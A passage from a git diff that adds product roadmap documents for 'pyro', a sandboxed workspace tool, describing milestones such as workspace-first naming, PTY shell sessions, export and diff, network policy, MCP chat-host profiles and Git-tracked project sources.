hidden patch normalization beyond the current patch-apply rules +- no change to the stable `workspace_id` contract + +## Acceptance Scenarios + +- README, install docs, and first-run docs can create one workspace ID without + `python -c` output parsing +- a user can apply a patch from `fix.patch` without `$(cat fix.patch)` shell + expansion +- a user can write one text file from a host file directly, without + shell-escaped inline text + +## Required Repo Updates + +- top-level workspace walkthroughs rewritten around the new shortcut flags +- CLI help text updated so the shortest happy path is copy-paste friendly +- at least one smoke scenario updated to use a file-backed patch input diff --git a/docs/roadmap/llm-chat-ergonomics/3.8.0-chat-host-onramp-and-recommended-defaults.md b/docs/roadmap/llm-chat-ergonomics/3.8.0-chat-host-onramp-and-recommended-defaults.md new file mode 100644 index 0000000..c4f0852 --- /dev/null +++ b/docs/roadmap/llm-chat-ergonomics/3.8.0-chat-host-onramp-and-recommended-defaults.md @@ -0,0 +1,51 @@ +# `3.8.0` Chat-Host Onramp And Recommended Defaults + +Status: Done + +## Goal + +Make the recommended chat-host entrypoint obvious before a new integrator has +to read deep integration docs. + +## Public API Changes + +No breaking API change is required in this milestone. + +The main user-visible change is guidance: + +- `pyro mcp serve` help text should clearly call `workspace-core` the + recommended chat-host profile +- README, install docs, first-run docs, and shipped MCP configs should all lead + with `workspace-core` +- `workspace-full` should be framed as the explicit advanced/compatibility + surface for `3.x` + +## Implementation Boundaries + +- keep the `3.x` compatibility default unchanged +- do not add new profile names +- make the recommendation visible from help text and top-level docs, not only + the integrations page +- keep provider examples and MCP examples aligned on the same profile story + +## Non-Goals + +- no breaking default flip to `workspace-core` in `3.x` +- no new hidden server behavior based on client type +- no divergence between CLI, SDK, and MCP terminology for the profile ladder + +## Acceptance Scenarios + +- a new chat-host integrator sees `workspace-core` as the recommended first MCP + profile from the first help/doc pass +- the top-level docs include one tiny chat-host quickstart near the first-run + path +- shipped config examples and provider examples all align on the same profile + progression + +## Required Repo Updates + +- top-level docs updated with a minimal chat-host quickstart +- `pyro mcp serve --help` rewritten to emphasize `workspace-core` +- examples and config snippets audited so they all agree on the recommended + profile diff --git a/docs/roadmap/llm-chat-ergonomics/3.9.0-content-only-reads-and-human-output-polish.md b/docs/roadmap/llm-chat-ergonomics/3.9.0-content-only-reads-and-human-output-polish.md new file mode 100644 index 0000000..0fcc400 --- /dev/null +++ b/docs/roadmap/llm-chat-ergonomics/3.9.0-content-only-reads-and-human-output-polish.md @@ -0,0 +1,50 @@ +# `3.9.0` Content-Only Reads And Human Output Polish + +Status: Done + +## Goal + +Make human-mode content reads cleaner for chat logs, terminal transcripts, and +copy-paste workflows. + +## Public API Changes + +Planned additions: + +- `pyro workspace file read WORKSPACE_ID PATH --content-only` +- `pyro workspace disk read WORKSPACE_ID PATH --content-only` + +Behavioral polish: + +- default human-mode `workspace file read` and `workspace disk read` should + always separate content from summaries cleanly, even when the file lacks a + trailing newline + +## Implementation Boundaries + +- keep JSON output unchanged +- keep human-readable summary lines by default +- `--content-only` should print only the file content and no summary footer +- keep current regular-file-only constraints for live and stopped-disk reads + +## Non-Goals + +- no new binary dumping contract +- no removal of human summaries from the default read path +- no expansion into a generic pager or TUI reader +- no change to SDK or MCP structured read results, which are already summary-free + +## Acceptance Scenarios + +- reading a text file with no trailing newline still produces a clean transcript +- a user can explicitly request content-only output for copy-paste or shell + piping +- docs can show both summary mode and content-only mode without caveats about + messy output joining + +## Required Repo Updates + +- CLI help text updated for file and disk read commands +- stable docs and transcripts revised to use `--content-only` where it improves + readability +- tests that cover missing trailing newline cases in human mode diff --git a/docs/roadmap/llm-chat-ergonomics/4.0.0-workspace-core-default-profile.md b/docs/roadmap/llm-chat-ergonomics/4.0.0-workspace-core-default-profile.md new file mode 100644 index 0000000..55924b9 --- /dev/null +++ b/docs/roadmap/llm-chat-ergonomics/4.0.0-workspace-core-default-profile.md @@ -0,0 +1,55 @@ +# `4.0.0` Workspace-Core Default Profile + +Status: Done + +## Goal + +Make the default MCP entrypoint match the product's recommended chat-first path +instead of preserving a wider compatibility surface by default. + +## Public API Changes + +This is an intentional breaking default change for the next major release: + +- `pyro mcp serve` should default to `workspace-core` +- `create_server()` should default to `profile="workspace-core"` +- `Pyro.create_server()` should default to `profile="workspace-core"` + +The full advanced surface remains available through explicit opt-in: + +- `pyro mcp serve --profile workspace-full` +- `create_server(profile="workspace-full")` +- `Pyro.create_server(profile="workspace-full")` + +## Implementation Boundaries + +- keep all three profile names unchanged +- do not remove `workspace-full` +- make the default flip explicit in docs, changelog, help text, and migration + notes +- keep bare `vm-run` available as the smallest one-shot profile + +## Non-Goals + +- no silent removal of advanced workspace capabilities +- no attempt to infer a profile from the client name +- no `3.x` backport that changes the current default behavior + +## Acceptance Scenarios + +- a bare `pyro mcp serve` command now exposes the recommended narrow profile +- a bare `create_server()` or `Pyro.create_server()` call matches that same + default +- advanced hosts can still opt into `workspace-full` explicitly with no loss of + functionality +- docs no longer need to explain that the recommended path and the default path + are different + +## Required Repo Updates + +- help text, public contract, README, install docs, and integrations docs + revised to reflect the new default +- migration note explaining the default change and the explicit + `workspace-full` opt-in path +- examples audited so they only mention `--profile workspace-core` when the + explicitness is useful rather than compensating for the old default diff --git a/docs/roadmap/llm-chat-ergonomics/4.1.0-project-aware-chat-startup.md b/docs/roadmap/llm-chat-ergonomics/4.1.0-project-aware-chat-startup.md new file mode 100644 index 0000000..e3e6986 --- /dev/null +++ b/docs/roadmap/llm-chat-ergonomics/4.1.0-project-aware-chat-startup.md @@ -0,0 +1,56 @@ +# `4.1.0` Project-Aware Chat Startup + +Status: Done + +## Goal + +Make "current repo to disposable sandbox" the default story for the narrowed +chat-host user, without requiring manual workspace seeding choreography first. + +## Public API Changes + +The chat entrypoint should gain one documented project-aware startup path: + +- `pyro mcp serve` should accept an explicit local project source, such as the + current checkout +- the product path should optionally support a clean-clone source, such as a + repo URL, when the user is not starting from a local checkout +- the first useful chat turn should not depend on manually teaching + `workspace create ... --seed-path ...` before the host can do real work + +Exact flag names can still change, but the product needs one obvious "use this +repo" path and one obvious "start from that repo" path. + +## Implementation Boundaries + +- keep host crossing explicit; do not silently mutate the user's checkout +- prefer local checkout seeding first, because that is the most natural daily + chat path +- preserve existing explicit sync, export, diff, and reset primitives rather + than inventing a hidden live-sync layer +- keep the startup story compatible with the existing `workspace-core` product + path + +## Non-Goals + +- no generic SCM integration platform +- no background multi-repo workspace manager +- no always-on bidirectional live sync between host checkout and guest + +## Acceptance Scenarios + +- from a repo root, a user can connect Claude Code, Codex, or OpenCode and the + first workspace starts from that repo without extra terminal choreography +- from outside a repo checkout, a user can still start from a documented clean + source such as a repo URL +- the README and install docs can teach a repo-aware chat flow before the + manual terminal workspace flow + +## Required Repo Updates + +- README, install docs, first-run docs, integrations docs, and public contract + updated to show the repo-aware chat startup path +- help text updated so the repo-aware startup path is visible from `pyro` and + `pyro mcp serve --help` +- at least one recipe and one real smoke scenario updated to validate the new + startup story diff --git a/docs/roadmap/llm-chat-ergonomics/4.2.0-host-bootstrap-and-repair.md b/docs/roadmap/llm-chat-ergonomics/4.2.0-host-bootstrap-and-repair.md new file mode 100644 index 0000000..a9d07a4 --- /dev/null +++ b/docs/roadmap/llm-chat-ergonomics/4.2.0-host-bootstrap-and-repair.md @@ -0,0 +1,53 @@ +# `4.2.0` Host Bootstrap And Repair + +Status: Done + +## Goal + +Make supported chat hosts feel one-command to connect and easy to repair when a +local config drifts or the product changes shape. + +## Public API Changes + +The CLI should grow a small host-helper surface for the supported chat hosts: + +- `pyro host connect claude-code` +- `pyro host connect codex` +- `pyro host print-config opencode` +- `pyro host doctor` +- `pyro host repair HOST` + +The exact names can still move, but the product needs a first-class bootstrap +and repair path for Claude Code, Codex, and OpenCode. + +## Implementation Boundaries + +- host helpers should wrap the same `pyro mcp serve` entrypoint rather than + introduce per-host runtime behavior +- config changes should remain inspectable and predictable +- support both installed-package and `uvx`-style usage where that materially + reduces friction +- keep the host helper story narrow to the current supported hosts + +## Non-Goals + +- no GUI installer or onboarding wizard +- no attempt to support every possible MCP-capable editor or chat shell +- no hidden network service or account-based control plane + +## Acceptance Scenarios + +- a new Claude Code or Codex user can connect `pyro` with one command +- an OpenCode user can print or materialize a correct config without hand-writing + JSON +- a user with a stale or broken local host config can run one repair or doctor + flow instead of debugging MCP setup manually + +## Required Repo Updates + +- new host-helper docs and examples for all supported chat hosts +- README, install docs, and integrations docs updated to prefer the helper + flows when available +- help text updated with exact connect and repair commands +- runnable verification or smoke coverage that proves the shipped host-helper + examples stay current diff --git a/docs/roadmap/llm-chat-ergonomics/4.3.0-reviewable-agent-output.md b/docs/roadmap/llm-chat-ergonomics/4.3.0-reviewable-agent-output.md new file mode 100644 index 0000000..b1b02ba --- /dev/null +++ b/docs/roadmap/llm-chat-ergonomics/4.3.0-reviewable-agent-output.md @@ -0,0 +1,54 @@ +# `4.3.0` Reviewable Agent Output + +Status: Done + +## Goal + +Make it easy for a human to review what the agent actually did inside the +sandbox without manually reconstructing the session from diffs, logs, and raw +artifacts. + +## Public API Changes + +The product should expose a concise workspace review surface, for example: + +- `pyro workspace summary WORKSPACE_ID` +- `workspace_summary` on the MCP side +- structured JSON plus a short human-readable summary view + +The summary should cover the things a chat-host user cares about: + +- commands run +- files changed +- diff or patch summary +- services started +- artifacts exported +- final workspace outcome + +## Implementation Boundaries + +- prefer concise review surfaces over raw event firehoses +- keep raw logs, diffs, and exported files available as drill-down tools +- summarize only the sandbox activity the product can actually observe +- make the summary good enough to paste into a chat, bug report, or PR comment + +## Non-Goals + +- no full compliance or audit product +- no attempt to summarize the model's hidden reasoning +- no remote storage backend for session history + +## Acceptance Scenarios + +- after a repro-fix or review-eval run, a user can inspect one summary and + understand what changed and what to review next +- the summary is useful enough to accompany exported patches or artifacts +- unsafe-inspection and review-eval flows become easier to trust because the + user can review agent-visible actions in one place + +## Required Repo Updates + +- public contract, help text, README, and recipe docs updated with the new + summary path +- at least one host-facing example showing how to ask for or export the summary +- at least one real smoke scenario validating the review surface end to end diff --git a/docs/roadmap/llm-chat-ergonomics/4.4.0-opinionated-use-case-modes.md b/docs/roadmap/llm-chat-ergonomics/4.4.0-opinionated-use-case-modes.md new file mode 100644 index 0000000..52d2d22 --- /dev/null +++ b/docs/roadmap/llm-chat-ergonomics/4.4.0-opinionated-use-case-modes.md @@ -0,0 +1,56 @@ +# `4.4.0` Opinionated Use-Case Modes + +Status: Done + +## Goal + +Stop making chat-host users think in terms of one giant workspace surface and +let them start from a small mode that matches the job they want the agent to do. + +## Public API Changes + +The chat entrypoint should gain named use-case modes, for example: + +- `pyro mcp serve --mode repro-fix` +- `pyro mcp serve --mode inspect` +- `pyro mcp serve --mode cold-start` +- `pyro mcp serve --mode review-eval` + +Modes should narrow the product story by selecting the right defaults for: + +- tool surface +- workspace bootstrap behavior +- docs and example prompts +- expected export and review outputs + +Parallel workspace use should come from opening more than one named workspace +inside the same mode, not from introducing a scheduler or queue abstraction. + +## Implementation Boundaries + +- build modes on top of the existing `workspace-core` and `workspace-full` + capabilities instead of inventing separate backends +- keep the mode list short and mapped to the documented use cases +- make modes visible from help text, host helpers, and recipe docs together +- let users opt out to the generic workspace path when the mode is too narrow + +## Non-Goals + +- no user-defined mode DSL +- no hidden host-specific behavior for the same mode name +- no CI-style pipelines, matrix builds, or queueing abstractions + +## Acceptance Scenarios + +- a new user can pick one mode and avoid reading the full workspace surface + before starting +- the documented use cases map cleanly to named entry modes +- parallel issue or PR work feels like "open another workspace in the same + mode", not "submit another job" + +## Required Repo Updates + +- help text, README, install docs, integrations docs, and use-case recipes + updated to teach the named modes +- host-specific setup docs updated so supported hosts can start in a named mode +- at least one smoke scenario proving a mode-specific happy path end to end diff --git a/docs/roadmap/llm-chat-ergonomics/4.5.0-faster-daily-loops.md b/docs/roadmap/llm-chat-ergonomics/4.5.0-faster-daily-loops.md new file mode 100644 index 0000000..ecbd8b8 --- /dev/null +++ b/docs/roadmap/llm-chat-ergonomics/4.5.0-faster-daily-loops.md @@ -0,0 +1,57 @@ +# `4.5.0` Faster Daily Loops + +Status: Done + +## Goal + +Make the day-to-day chat-host loop feel cheap enough that users reach for it +for normal work, not only for special high-isolation tasks. + +## Public API Changes + +The product now adds an explicit fast-path for repeated local use: + +- `pyro prepare [ENVIRONMENT] [--network] [--force] [--json]` +- `pyro doctor --environment ENVIRONMENT` daily-loop readiness output +- `make smoke-daily-loop` to prove the warmed machine plus reset/retry story + +The exact command names can still move, but the user-visible story needs to be: + +- set the machine up once +- reconnect quickly +- create or reset a workspace cheaply +- keep iterating without redoing heavy setup work + +## Implementation Boundaries + +- optimize local-first loops on one machine before thinking about remote + execution +- focus on startup, create, reset, and retry latency rather than queue + throughput +- keep the fast path compatible with the repo-aware startup story and the + supported chat hosts +- prefer explicit caching and prewarm semantics over hidden long-running + daemons + +## Non-Goals + +- no cloud prewarm service +- no scheduler or queueing layer +- no daemon requirement for normal daily use + +## Acceptance Scenarios + +- after the first setup, entering the chat-host path again does not feel like + redoing the whole product onboarding +- reset and retry become cheap enough to recommend as the default repro-fix + workflow +- docs can present `pyro` as a daily coding-agent tool, not only as a special + heavy-duty sandbox + +## Required Repo Updates + +- docs now show the recommended daily-use fast path +- diagnostics and help text now show whether the machine is already warm and + ready +- the repo now includes `make smoke-daily-loop` as a repeat-loop verification + scenario for the daily workflow diff --git a/docs/roadmap/llm-chat-ergonomics/4.6.0-git-tracked-project-sources.md b/docs/roadmap/llm-chat-ergonomics/4.6.0-git-tracked-project-sources.md new file mode 100644 index 0000000..b170b21 --- /dev/null +++ b/docs/roadmap/llm-chat-ergonomics/4.6.0-git-tracked-project-sources.md @@ -0,0 +1,55 @@ +# `4.6.0` Git-Tracked Project Sources + +Status: Planned + +## Goal + +Make repo-root startup and `--project-path` robust for messy real checkouts by +stopping the default chat-host path from trying to ingest every readable and +unreadable file in the working tree. + +## Public API Changes + +Project-aware startup should change its default local source semantics: + +- bare `pyro mcp serve` from inside a Git checkout should seed from Git-tracked + files only +- `pyro mcp serve --project-path PATH` should also use Git-tracked files only + when `PATH` is inside a Git checkout +- `--repo-url` remains the clean-clone path when the user wants a host-side + clone instead of the local checkout +- explicit `workspace create --seed-path PATH` remains unchanged in this + milestone + +## Implementation Boundaries + +- apply the new semantics only to project-aware startup sources, not every + explicit directory seed +- do not silently include ignored or untracked junk in the default chat-host + path +- preserve explicit diff, export, sync push, and reset behavior +- surface the chosen project source clearly enough that users know what the + sandbox started from + +## Non-Goals + +- no generic SCM abstraction layer +- no silent live sync between the host checkout and the guest +- no change to explicit archive seeding semantics in this milestone + +## Acceptance Scenarios + +- starting `pyro mcp serve` from a repo root no longer fails on unreadable + build artifacts or ignored runtime byproducts +- starting from `--project-path` inside a Git repo behaves the same way +- users can predict that the startup source matches the tracked project state + rather than the entire working tree + +## Required Repo Updates + +- README, install docs, integrations docs, and public contract updated to state + what local project-aware startup actually includes +- help text updated to distinguish project-aware startup from explicit + `--seed-path` behavior +- at least one guest-backed smoke scenario added for a repo with ignored, + generated, and unreadable files diff --git a/docs/roadmap/llm-chat-ergonomics/4.7.0-project-source-diagnostics-and-recovery.md b/docs/roadmap/llm-chat-ergonomics/4.7.0-project-source-diagnostics-and-recovery.md new file mode 100644 index 0000000..a758e79 --- /dev/null +++ b/docs/roadmap/llm-chat-ergonomics/4.7.0-project-source-diagnostics-and-recovery.md @@ -0,0 +1,50 @@ +# `4.7.0` Project Source Diagnostics And Recovery + +Status: Planned + +## Goal + +Make project-source selection and startup failures understandable enough that a +chat-host user can recover without reading internals or raw tracebacks. + +## Public API Changes + +The chat-host path should expose clearer project-source diagnostics: + +- `pyro doctor` should report the active project-source kind and its readiness +- `pyro mcp serve` and host helpers should explain whether they are using + tracked local files, `--project-path`, `--repo-url`, or no project source +- startup failures should recommend the right fallback: + `--project-path`, `--repo-url`, `--no-project-source`, or explicit + `seed_path` + +## Implementation Boundaries + +- keep diagnostics focused on the chat-host path rather than inventing a broad + source-management subsystem +- prefer actionable recovery guidance over long implementation detail dumps +- make project-source diagnostics visible from the same surfaces users already + touch: help text, `doctor`, host helpers, and startup errors + +## Non-Goals + +- no generic repo-health audit product +- no attempt to auto-fix arbitrary local checkout corruption +- no host-specific divergence in project-source behavior + +## Acceptance Scenarios + +- a user can tell which project source the chat host will use before creating a + workspace +- a user who hits a project-source failure gets a concrete recovery path instead + of a raw permission traceback +- host helper doctor and repair flows can explain project-source problems, not + only MCP config problems + +## Required Repo Updates + +- docs, help text, and troubleshooting updated with project-source diagnostics + and fallback guidance +- at least one smoke or targeted CLI test covering the new failure guidance +- host-helper docs updated to show when to prefer `--project-path`, + `--repo-url`, or `--no-project-source` diff --git a/docs/roadmap/llm-chat-ergonomics/4.8.0-first-class-chat-environment-selection.md b/docs/roadmap/llm-chat-ergonomics/4.8.0-first-class-chat-environment-selection.md new file mode 100644 index 0000000..fcb80eb --- /dev/null +++ b/docs/roadmap/llm-chat-ergonomics/4.8.0-first-class-chat-environment-selection.md @@ -0,0 +1,52 @@ +# `4.8.0` First-Class Chat Environment Selection + +Status: Planned + +## Goal + +Make curated environment choice part of the normal chat-host path so full +project work is not implicitly tied to one default environment. + +## Public API Changes + +Environment selection should become first-class in the chat-host path: + +- `pyro mcp serve` should accept an explicit environment +- `pyro host connect` should accept and preserve an explicit environment +- `pyro host print-config` and `pyro host repair` should preserve the selected + environment where relevant +- named modes should be able to recommend a default environment when one is + better for the workflow, without removing explicit user choice + +## Implementation Boundaries + +- keep environment selection aligned with the existing curated environment + catalog +- avoid inventing host-specific environment behavior for the same mode +- keep the default environment path simple for the quickest evaluator flow +- ensure the chosen environment is visible from generated config, help text, and + diagnostics + +## Non-Goals + +- no custom user-built environment pipeline in this milestone +- no per-host environment negotiation logic +- no attempt to solve arbitrary dependency installation through environment + sprawl alone + +## Acceptance Scenarios + +- a user can choose a build-oriented environment such as `debian:12-build` + before connecting the chat host +- host helpers, raw server startup, and printed configs all preserve the same + environment choice +- docs can teach whole-project development without pretending every project fits + the same default environment + +## Required Repo Updates + +- README, install docs, integrations docs, public contract, and host examples + updated to show environment selection in the chat-host path +- help text updated for raw server startup and host helpers +- at least one guest-backed smoke scenario updated to prove a non-default + environment in the chat-host flow diff --git a/docs/roadmap/llm-chat-ergonomics/4.9.0-real-repo-qualification-smokes.md b/docs/roadmap/llm-chat-ergonomics/4.9.0-real-repo-qualification-smokes.md new file mode 100644 index 0000000..04bea7c --- /dev/null +++ b/docs/roadmap/llm-chat-ergonomics/4.9.0-real-repo-qualification-smokes.md @@ -0,0 +1,52 @@ +# `4.9.0` Real-Repo Qualification Smokes + +Status: Planned + +## Goal + +Replace fixture-only confidence with guest-backed proof that the chat-host path +works against messy local repos and clean-clone startup sources. + +## Public API Changes + +No new runtime surface is required in this milestone. The main additions are +qualification smokes and their supporting fixtures. + +The new coverage should prove: + +- repo-root startup from a local Git checkout with ignored, generated, and + unreadable files +- `--repo-url` clean-clone startup +- a realistic install, test, patch, rerun, and export loop +- at least one nontrivial service-start or readiness loop + +## Implementation Boundaries + +- keep the smoke pack guest-backed and deterministic enough to use as a release + gate +- focus on realistic repo-shape and project-loop problems, not synthetic + micro-feature assertions +- prefer a small number of representative project fixtures over a large matrix + of toy repos + +## Non-Goals + +- no promise to qualify every language ecosystem in one milestone +- no cloud or remote execution qualification layer +- no broad benchmark suite beyond what is needed to prove readiness + +## Acceptance Scenarios + +- the repo has one clear smoke target for real-repo qualification +- at least one local-checkout smoke proves the new Git-tracked startup behavior +- at least one clean-clone smoke proves the `--repo-url` path +- failures in these smokes clearly separate project-source issues from runtime + or host issues + +## Required Repo Updates + +- new guest-backed smoke targets and any supporting fixtures +- roadmap, use-case docs, and release/readiness docs updated to point at the + new qualification path +- troubleshooting updated with the distinction between shaped use-case smokes + and real-repo qualification smokes diff --git a/docs/roadmap/llm-chat-ergonomics/5.0.0-whole-project-sandbox-development.md b/docs/roadmap/llm-chat-ergonomics/5.0.0-whole-project-sandbox-development.md new file mode 100644 index 0000000..ba2195a --- /dev/null +++ b/docs/roadmap/llm-chat-ergonomics/5.0.0-whole-project-sandbox-development.md @@ -0,0 +1,53 @@ +# `5.0.0` Whole-Project Sandbox Development + +Status: Planned + +## Goal + +Reach the point where it is credible to tell a user they can develop a real +project inside sandboxes, not just validate, inspect, or patch one. + +## Public API Changes + +No new generic VM breadth is required here. This milestone should consolidate +the earlier pieces into one believable full-project product story: + +- robust project-aware startup +- explicit environment selection in the chat-host path +- summaries, reset, export, and service workflows that hold up during longer + work loops +- qualification targets that prove a nontrivial development cycle + +## Implementation Boundaries + +- keep the product centered on the chat-host workspace path rather than a broad + CLI or SDK platform story +- use the existing named modes and generic workspace path where they fit, but + teach one end-to-end full-project development walkthrough +- prioritize daily development credibility over adding new low-level sandbox + surfaces + +## Non-Goals + +- no attempt to become a generic remote dev environment platform +- no scheduler, queue, or CI matrix abstractions +- no claim that every possible project type is equally well supported + +## Acceptance Scenarios + +- the docs contain one end-to-end “develop a project in sandboxes” walkthrough +- that walkthrough covers dependency install, tests, patching, reruns, review, + and export, with app/service startup when relevant +- at least one guest-backed qualification target proves the story on a + nontrivial project +- the readiness docs can honestly say whole-project development is supported + with explicit caveats instead of hedged aspirational language + +## Required Repo Updates + +- README, install docs, integrations docs, use-case docs, and public contract + updated to include the whole-project development story +- at least one walkthrough asset or transcript added for the new end-to-end + path +- readiness and troubleshooting docs updated with the actual supported scope and + remaining caveats diff --git a/docs/roadmap/task-workspace-ga.md b/docs/roadmap/task-workspace-ga.md new file mode 100644 index 0000000..3324e22 --- /dev/null +++ b/docs/roadmap/task-workspace-ga.md @@ -0,0 +1,50 @@ +# Task Workspace GA Roadmap + +This roadmap turns the agent-workspace vision into release-sized milestones. + +Current baseline is `3.1.0`: + +- workspace persistence exists and the public surface is now workspace-first +- host crossing currently covers create-time seeding, later sync push, and explicit export +- persistent PTY shell sessions exist alongside one-shot `workspace exec` +- immutable create-time baselines now power whole-workspace diff +- multi-service lifecycle exists with typed readiness and aggregate workspace status counts +- named snapshots and full workspace reset now exist +- explicit secrets now exist for guest-backed workspaces +- explicit workspace network policy and localhost published service ports now exist + +Locked roadmap decisions: + +- no backward compatibility goal for the current `task_*` naming +- workspace-first naming lands first, before later features +- snapshots are real named snapshots, not only reset-to-baseline + +Every milestone below must update CLI, SDK, and MCP together. Each milestone is +also expected to update: + +- `README.md` +- install/first-run docs +- `docs/public-contract.md` +- help text and runnable examples +- at least one real Firecracker smoke scenario + +## Milestones + +1. [`2.4.0` Workspace Contract Pivot](task-workspace-ga/2.4.0-workspace-contract-pivot.md) - Done +2. [`2.5.0` PTY Shell Sessions](task-workspace-ga/2.5.0-pty-shell-sessions.md) - Done +3. [`2.6.0` Structured Export And Baseline Diff](task-workspace-ga/2.6.0-structured-export-and-baseline-diff.md) - Done +4. [`2.7.0` Service Lifecycle And Typed Readiness](task-workspace-ga/2.7.0-service-lifecycle-and-typed-readiness.md) - Done +5. [`2.8.0` Named Snapshots And Reset](task-workspace-ga/2.8.0-named-snapshots-and-reset.md) - Done +6. [`2.9.0` Secrets](task-workspace-ga/2.9.0-secrets.md) - Done +7. [`2.10.0` Network Policy And Host Port Publication](task-workspace-ga/2.10.0-network-policy-and-host-port-publication.md) - Done +8. [`3.0.0` Stable Workspace Product](task-workspace-ga/3.0.0-stable-workspace-product.md) - Done +9. [`3.1.0` Secondary Disk Tools](task-workspace-ga/3.1.0-secondary-disk-tools.md) - Done + +## Roadmap Status + +The planned workspace roadmap is complete. + +- `3.1.0` added secondary stopped-workspace disk export and offline inspection helpers without + changing the stable workspace-first core contract. +- The next follow-on milestones now live in [llm-chat-ergonomics.md](llm-chat-ergonomics.md) and + focus on making the stable workspace product feel trivial from chat-driven LLM interfaces. diff --git a/docs/roadmap/task-workspace-ga/2.10.0-network-policy-and-host-port-publication.md b/docs/roadmap/task-workspace-ga/2.10.0-network-policy-and-host-port-publication.md new file mode 100644 index 0000000..680d318 --- /dev/null +++ b/docs/roadmap/task-workspace-ga/2.10.0-network-policy-and-host-port-publication.md @@ -0,0 +1,45 @@ +# `2.10.0` Network Policy And Host Port Publication + +Status: Done + +## Goal + +Replace the coarse current network toggle with an explicit workspace network +policy and make services host-probeable through controlled published ports. + +## Public API Changes + +- `workspace create` gains explicit network policy instead of a simple boolean +- `workspace service start` gains published-port configuration +- `workspace service status/list` returns published-port information + +Recommended policy model: + +- `off` +- `egress` +- `egress+published-ports` + +## Implementation Boundaries + +- Host port publication is localhost-only by default. +- Ports remain attached to services, not generic VM networking. +- Published-port details are queryable from CLI, SDK, and MCP. +- Keep network access explicit and visible in the workspace spec. + +## Non-Goals + +- no remote exposure defaults +- no advanced ingress routing +- no general-purpose networking product surface + +## Acceptance Scenarios + +- start a service, wait for readiness, probe it from the host, inspect logs, + then stop it +- keep a workspace fully offline and confirm no implicit network access exists + +## Required Repo Updates + +- docs that show app validation from the host side +- examples that use typed readiness plus localhost probing +- real Firecracker smoke for published-port probing diff --git a/docs/roadmap/task-workspace-ga/2.4.0-workspace-contract-pivot.md b/docs/roadmap/task-workspace-ga/2.4.0-workspace-contract-pivot.md new file mode 100644 index 0000000..ff97f37 --- /dev/null +++ b/docs/roadmap/task-workspace-ga/2.4.0-workspace-contract-pivot.md @@ -0,0 +1,72 @@ +# `2.4.0` Workspace Contract Pivot + +Status: Done + +## Goal + +Make the public product read as a workspace-first sandbox instead of a +task-flavored alpha by replacing the `task_*` surface with `workspace_*`. + +## Public API Changes + +- CLI: + - `pyro workspace create` + - `pyro workspace sync push` + - `pyro workspace exec` + - `pyro workspace status` + - `pyro workspace logs` + - `pyro workspace delete` +- SDK: + - `create_workspace` + - `push_workspace_sync` + - `exec_workspace` + - `status_workspace` + - `logs_workspace` + - `delete_workspace` +- MCP: + - `workspace_create` + - `workspace_sync_push` + - `workspace_exec` + - `workspace_status` + - `workspace_logs` + - `workspace_delete` + +Field renames: + +- `task_id` -> `workspace_id` +- `source_path` on create -> `seed_path` +- `task.json` / `tasks/` -> `workspace.json` / `workspaces/` + +No compatibility aliases. Remove `task_*` from the public contract in the same +release. + +## Implementation Boundaries + +- Keep current behavior intact under the new names: + - persistent workspace creation + - create-time seed + - sync push + - exec/status/logs/delete +- Rename public result payloads and CLI help text to workspace language. +- Move on-disk persisted records to `workspaces/` and update rehydration logic + accordingly. +- Update examples, docs, and tests to stop using task terminology. + +## Non-Goals + +- no shell sessions yet +- no export, diff, services, snapshots, reset, or secrets in this release +- no attempt to preserve old CLI/SDK/MCP names + +## Acceptance Scenarios + +- create a seeded workspace, sync host changes into it, exec inside it, inspect + status/logs, then delete it +- the same flow works from CLI, SDK, and MCP with only workspace-first names +- one-shot `pyro run` remains unchanged + +## Required Repo Updates + +- replace task language in README/install/first-run/public contract/help +- update runnable examples to use `workspace_*` +- add one real Firecracker smoke for create -> sync push -> exec -> delete diff --git a/docs/roadmap/task-workspace-ga/2.5.0-pty-shell-sessions.md b/docs/roadmap/task-workspace-ga/2.5.0-pty-shell-sessions.md new file mode 100644 index 0000000..91bcf2d --- /dev/null +++ b/docs/roadmap/task-workspace-ga/2.5.0-pty-shell-sessions.md @@ -0,0 +1,65 @@ +# `2.5.0` PTY Shell Sessions + +Status: Done + +## Goal + +Add persistent interactive shells so an agent can inhabit a workspace instead +of only submitting one-shot `workspace exec` calls. + +## Public API Changes + +- CLI: + - `pyro workspace shell open` + - `pyro workspace shell read` + - `pyro workspace shell write` + - `pyro workspace shell signal` + - `pyro workspace shell close` +- SDK: + - `open_shell` + - `read_shell` + - `write_shell` + - `signal_shell` + - `close_shell` +- MCP: + - `shell_open` + - `shell_read` + - `shell_write` + - `shell_signal` + - `shell_close` + +Core shell identity: + +- `workspace_id` +- `shell_id` +- PTY size +- working directory +- running/stopped state + +## Implementation Boundaries + +- Shells are persistent PTY sessions attached to one workspace. +- Output buffering is append-only with cursor-based reads so callers can poll + incrementally. +- Shell sessions survive separate CLI/SDK/MCP calls and are cleaned up by + `workspace delete`. +- Keep `workspace exec` as the non-interactive path; do not merge the two + models. + +## Non-Goals + +- no terminal UI beyond structured shell I/O +- no service lifecycle changes in this milestone +- no export/diff/snapshot/reset changes yet + +## Acceptance Scenarios + +- open a shell, write commands, read output in chunks, send SIGINT, then close +- reopen a new shell in the same workspace after closing the first one +- delete a workspace with an open shell and confirm the shell is cleaned up + +## Required Repo Updates + +- shell-focused example in CLI, SDK, and MCP docs +- help text that explains shell vs exec clearly +- real Firecracker smoke for open -> write -> read -> signal -> close diff --git a/docs/roadmap/task-workspace-ga/2.6.0-structured-export-and-baseline-diff.md b/docs/roadmap/task-workspace-ga/2.6.0-structured-export-and-baseline-diff.md new file mode 100644 index 0000000..4ee66bb --- /dev/null +++ b/docs/roadmap/task-workspace-ga/2.6.0-structured-export-and-baseline-diff.md @@ -0,0 +1,49 @@ +# `2.6.0` Structured Export And Baseline Diff + +Status: Done + +## Goal + +Complete the next explicit host-crossing step by letting a workspace export +files back to the host and diff itself against its immutable create-time +baseline. + +## Public API Changes + +- CLI: + - `pyro workspace export WORKSPACE_ID PATH --output HOST_PATH` + - `pyro workspace diff WORKSPACE_ID` +- SDK: + - `export_workspace` + - `diff_workspace` +- MCP: + - `workspace_export` + - `workspace_diff` + +## Implementation Boundaries + +- Capture a baseline snapshot at `workspace create`. +- `workspace diff` compares current `/workspace` against that baseline. +- `workspace export` exports files or directories only from paths under + `/workspace`. +- Keep output structured: + - unified patch text for text files + - summary entries for binary or type changes + +## Non-Goals + +- no named snapshots yet +- no reset yet +- no export outside `/workspace` + +## Acceptance Scenarios + +- seed workspace, mutate files, diff against baseline, export a file to host +- sync push content after create, then confirm diff reports the synced changes +- unchanged workspace returns an empty diff summary cleanly + +## Required Repo Updates + +- docs that distinguish seed, sync push, diff, and export +- example showing reproduce -> 